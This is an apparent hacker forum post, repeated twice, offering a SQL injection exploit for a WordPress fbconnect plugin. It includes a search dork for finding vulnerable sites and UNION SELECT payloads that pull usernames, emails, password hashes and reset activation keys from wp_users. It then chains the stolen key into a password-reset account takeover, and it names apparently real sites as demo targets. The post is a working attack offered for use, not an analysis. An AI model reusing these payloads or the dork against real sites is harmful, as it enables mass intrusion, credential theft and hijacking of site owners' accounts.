Hello PHC rOx RoOT here!!
Today i post my personal Exploit i hope all of you like this .... :)
dork : inurl:"/?fbconnect_action=myhome"
explit : ?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email),7,8,9,10,11,12+from+wp_users--
explit2 : ?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)?,7,8,9,10,11,12+from+wp_users--
expoit3 : http://masaru.ikeda.me/wp-login.php
now the wordpress will ask me for the username or email .. for which i want to reset the password .. in my case that is 'masaru' .. so go ahead and enter the username ..
now look closely .. it says .. "Check your e-mail for the confirmation link."
expoit4 : ?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_activation_key)?,7,8,9,10,11,12+from+wp_users--
expoit5 : wp-login.php?action=rp&key=KEYHERE&login=USER NAME HERE
explit6 : wp-login.php?action=hdBje5ATdgGDgw4Xgkt0&login=martyr
demo:
http://boneramamusic.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat%28user_login,0x3a,user_pass%29,7,8,9,10,11,12+from+wp_users--
Today i post my personal Exploit i hope all of you like this .... :)
explit : ?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email),7,8,9,10,11,12+from+wp_users--
explit2 : ?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)?,7,8,9,10,11,12+from+wp_users--
expoit3 : http://masaru.ikeda.me/wp-login.php
now the wordpress will ask me for the username or email .. for which i want to reset the password .. in my case that is 'masaru' .. so go ahead and enter the username ..
now look closely .. it says .. "Check your e-mail for the confirmation link."
expoit4 : ?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_activation_key)?,7,8,9,10,11,12+from+wp_users--
expoit5 : wp-login.php?action=rp&key=KEYHERE&login=USER NAME HERE
explit6 : wp-login.php?action=hdBje5ATdgGDgw4Xgkt0&login=martyr
demo:
http://boneramamusic.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat%28user_login,0x3a,user_pass%29,7,8,9,10,11,12+from+wp_users--